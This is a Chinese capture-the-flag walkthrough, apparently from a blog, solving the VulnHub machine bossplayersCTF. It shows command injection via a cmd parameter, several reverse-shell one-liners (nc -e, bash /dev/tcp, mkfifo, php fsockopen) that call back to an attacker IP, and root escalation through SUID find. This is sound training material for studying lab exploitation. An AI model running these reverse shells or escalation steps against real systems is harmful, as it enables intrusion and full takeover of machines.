靶场通关15--bossplayersctf

靶场通关15--bossplayersctf

靶机:bossplayersCTF: 1(VulnHub,作者 Cuong Nguyen)

难度:Easy(新手向) 类型:Web 信息泄漏 + 命令注入 + SUID 提权

攻击机:Kali 192.168.236.145 靶机:192.168.236.143

一.信息搜集

先扫网段找存活主机:

bash 复制代码
sudo nmap -sn 192.168.236.0/24

.143 是本次的靶机,接着全端口扫描:

bash 复制代码
sudo nmap -T4 -p- 192.168.236.143

只开放 22/tcp ssh 和 80/tcp http。访问 80 端口,页面是作者留的说明:

text 复制代码
bossplayers CTF - created by Cuong Nguyen
Difficulty Level: [*][][][][]
Description: Hello! Extremely easy CTF that I created for those who want to get their feet wet.
Have a methodology and avoid the rabbit holes! I hope you enjoy this and most importantly, please have fun!
Website: sudocuong.com

注意 "avoid the rabbit holes" 这句,作者已经提前打了招呼:这台机器上会有故意设置的坑。页面本身没有功能,按常规做目录扫描:

bash 复制代码
sudo gobuster dir -url http://192.168.236.143/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x php,txt,zip,bak

扫出三个结果:

路径 状态 说明
robots.txt 200(53 字节) 通常藏着路径提示
logs.php 200(34 KB) 打开是一大段日志内容,没有可用信息
server-status 403 Apache 状态页,无权限,跳过

二.第一个坑:robots.txt 的"超级密码"

先看 robots.txt:

text 复制代码
super secret password - bG9sIHRyeSBoYXJkZXIgYnJvCg==

标题写得很诱人,bG9s... 也是标准 Base64,解码:

bash 复制代码
echo 'bG9sIHRyeSBoYXJkZXIgYnJvCg==' | base64 -d
text 复制代码
lol try harder bro

所谓"超级密码"就是作者的一句嘲讽------这就是第一个 rabbit hole。logs.php 也只是日志展示,没有凭据;server-status 是 403。到这里 Web 上能直接看到的线索就用完了,回到首页去看源码。

三.源码里的三层 Base64

首页源码最底部有一行 HTML 注释:

html 复制代码
<!--WkRJNWVXRXliSFZhTW14MVkwaEtkbG96U214ak0wMTFZMGRvZDBOblBUMEsK-->

这里有个小插曲:直接复制整段(连同 <!--、-->)丢进 zsh 会报 zsh: event not found: -,因为 ! 在 zsh 里会触发历史命令展开;把注释符去掉后如果还留着结尾的 --,base64 -d 也会报"无效的输入"。所以先把注释符号清干净,只留 Base64 本体:

这串东西解一次不是明文,而是另一串 Base64,一共解了三次:

bash 复制代码
echo 'WkRJNWVXRXliSFZhTW14MVkwaEtkbG96U214ak0wMTFZMGRvZDBOblBUMEsK' | base64 -d
# ZDI5eWEybHVaMmx1Y0hKdlozSmxjM011Y0dod0NnPT0K

echo 'ZDI5eWEybHVaMmx1Y0hKdlozSmxjM011Y0dod0NnPT0K' | base64 -d
# d29ya2luZ2lucHJvZ3Jlc3MucGhwCg==

echo 'd29ya2luZ2lucHJvZ3Jlc3MucGhwCg==' | base64 -d
# workinginprogress.php

最后得到隐藏文件 workinginprogress.php。多层编码在 CTF 里很常见,目的就是消耗时间、劝退没耐心的人,遇到嵌套编码一直解到可读为止即可。

四.workinginprogress.php 与命令注入

访问这个文件:

页面是一张"施工进度表":

text 复制代码
System Install:
Linux Debian - [*]
APACHE2 - [*]
PHP - [*]

Outstanding:
Test ping command - [ ]
Fix Privilege Escalation - [ ]

Completed:
Say Hi to Haley - [*]

Outstanding 里的 "Test ping command" 就是明示:这个页面会把参数拼进系统命令去执行 ping(典型的 system("ping -c 1 " . $_GET['cmd']) 一类的写法)。Fix Privilege Escalation 则提示后面还有提权环节。

既然参数直接进 shell,就不需要真的去 ping,构造 cmd 参数执行任意命令。先确认命令执行(?cmd=id 能回显当前用户),然后直接上反弹 shell。

五.反弹 shell

攻击机先监听:

bash 复制代码
nc -lvnp 1234

然后在浏览器里访问(192.168.236.145 是 Kali):

text 复制代码
http://192.168.236.143/workinginprogress.php?cmd=nc -e /bin/sh 192.168.236.145 1234

Kali 这边收到连接,拿到 www-data 的 shell。这一步用的是 nc -e /bin/sh,选择它并不是随手一写,而是由靶机环境和注入点共同决定的:

  • 靶机的 nc 支持 -e :Debian 系通常同时存在 netcat-traditional 和 netcat-openbsd,只有 traditional 版带 -e(执行程序)参数。这条命令能打通,说明靶机装的是 traditional 版;实战中不确定的话可以先 ?cmd=which nc、?cmd=nc -h 2>&1 确认,再决定用哪种反弹方式。
  • 注入点只适合短命令 :命令要塞进 URL 的 cmd 参数里,越长、引号越多,越容易在浏览器/服务端的 URL 解析中被截断或转义。nc -e /bin/sh IP PORT 没有管道、没有重定向、没有 &,几乎不需要额外编码,是最不容易出错的一条。
  • 不依赖 bash 的 /dev/tcp :PHP 的 system() 是用 /bin/sh(Debian 上是 dash)来执行命令的,而 /dev/tcp 是 bash 的内建重定向,dash 根本不认。用 bash -i >& /dev/tcp/... 的话,必须再套一层 bash -c '...',还得把 & 编码成 %26,多两个出错点。
  • /bin/sh 比 /bin/bash 稳妥 :sh 在任何 Linux 上都有,bash 则可能没装、路径不同或被人为限制;先用 sh 拿到立足点,再用 python 升级成交互式 bash,即使升级失败也不影响已经拿到的 shell。
  • 端口 1234 是高位端口,不会和 22/80 冲突;能收到回连本身就说明靶机到 Kali 的出站没有被防火墙拦。

作为对比,其它常见写法的取舍如下:

方案 命令 适用场景与缺点
nc -e nc -e /bin/sh <IP> <PORT> 最短最省事,依赖 traditional nc
bash /dev/tcp bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1' 不依赖 nc,但要求 bash,且 & 必须编码
mkfifo + nc `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f /bin/sh -i 2>&1
php 反弹 php -r '$s=fsockopen("<IP>",<PORT>);exec("/bin/sh -i <&3 >&3 2>&3");' 靶机有 PHP,但引号和 $ 在 URL 里容易出错

实际选择顺序可以是:nc -e → bash /dev/tcp → mkfifo → php/python,前一条不通再依次降级,不必一上来就用 msfvenom 生成完整 payload。

如果换到只支持 OpenBSD 版 nc 的环境,可以改用:

text 复制代码
?cmd=bash -c 'bash -i >& /dev/tcp/192.168.236.145/1234 0>&1'

注意 URL 里的 & 要写成 %26,而且 PHP 默认用 /bin/sh(Debian 上是 dash)解析命令,dash 不认 /dev/tcp,必须用 bash -c '...' 把整条命令交给 bash,否则重定向会被当成普通文件路径而失败。

拿到的是没有 TTY 的 dumb shell,升级一下:

bash 复制代码
python -c "import pty;pty.spawn('/bin/bash')"

升级后敲命令会重复回显,这是 pty 的正常现象。当前身份是 www-data,主机名 bossplayers。

六.信息收集与 find 的 SUID 提权

先看看网站目录:

bash 复制代码
ls /var/www/html
# index.html  logs.php  robots.txt  workinginprogress.php

再翻用户目录,发现系统里只有一个普通用户 cuong:

bash 复制代码
cd /home && ls
cd cuong
sudo -l          # bash: sudo: command not found

www-data 连 sudo 都没有,只能在文件权限上找突破口。查 SUID 文件:

bash 复制代码
find / -perm -u=s -type f 2>/dev/null

列表里出现了 /usr/bin/find ------ find 本身带 SUID 位,意味着执行它时有效用户是 root,而 find 的 -exec 可以执行任意命令,等于把 root 权限借出来。利用方式:

bash 复制代码
find . -exec /bin/sh -p \; -quit
  • -exec /bin/sh -p:以保留权限(-p,即不重置 euid)的方式起一个 shell;
  • -quit:执行完这一条就退出,不用等 find 遍历完整个目录。

拿到 root 后读 flag:

bash 复制代码
whoami
# root
cd /root
ls
cat root.txt
# Y29uZ3JhdHVsYXRpb25zCg==

root.txt 里还是一个 Base64:

bash 复制代码
echo 'Y29uZ3JhdHVsYXRpb25zCg==' | base64 -d
# congratulations

看到 congratulations,通关。

相关推荐
武雄(小星Ai)1 小时前
Cursor市场Claude Code扩展被植入SSH后门:一次供应链投毒的完整拆解与自查手册
安全·网络安全·供应链攻击
叼烟扛炮1 小时前
Linux 学习笔记(四十五):Web 安全基石——Cookie、Session 与 HTTPS 原理解析
linux·前端·网络·笔记·学习·tcp/ip·安全
~央千澈~1 小时前
优雅草新产品2026 年 10 月 31 日公测完毕v1.0.0 优雅草人机盾正式运营上线
安全·网络安全·安全防御
2401_868534781 小时前
网络规划设计师之案例分析 - 网络安全与等级保护
服务器·网络
是真的小外套1 小时前
网络安全实战第10期:Nmap主机发现之一键扫清整个网段
网络·安全·web安全
雾时之林1 小时前
Nginx反向代理与proxy_cache缓存搭建CDN服务器
服务器·nginx·缓存
垚垚学技术_聚焦云原生1 小时前
Ansible Vault 安全实践:敏感密码、密钥加密存储方案
安全·elasticsearch·ansible
北冥you鱼1 小时前
区块链供应链金融如何降低中小企业融资成本
网络·金融·区块链
鬼手点金2 小时前
提示注入:上下文安全的核心威胁
人工智能·安全·microsoft·机器学习·缓存·prompt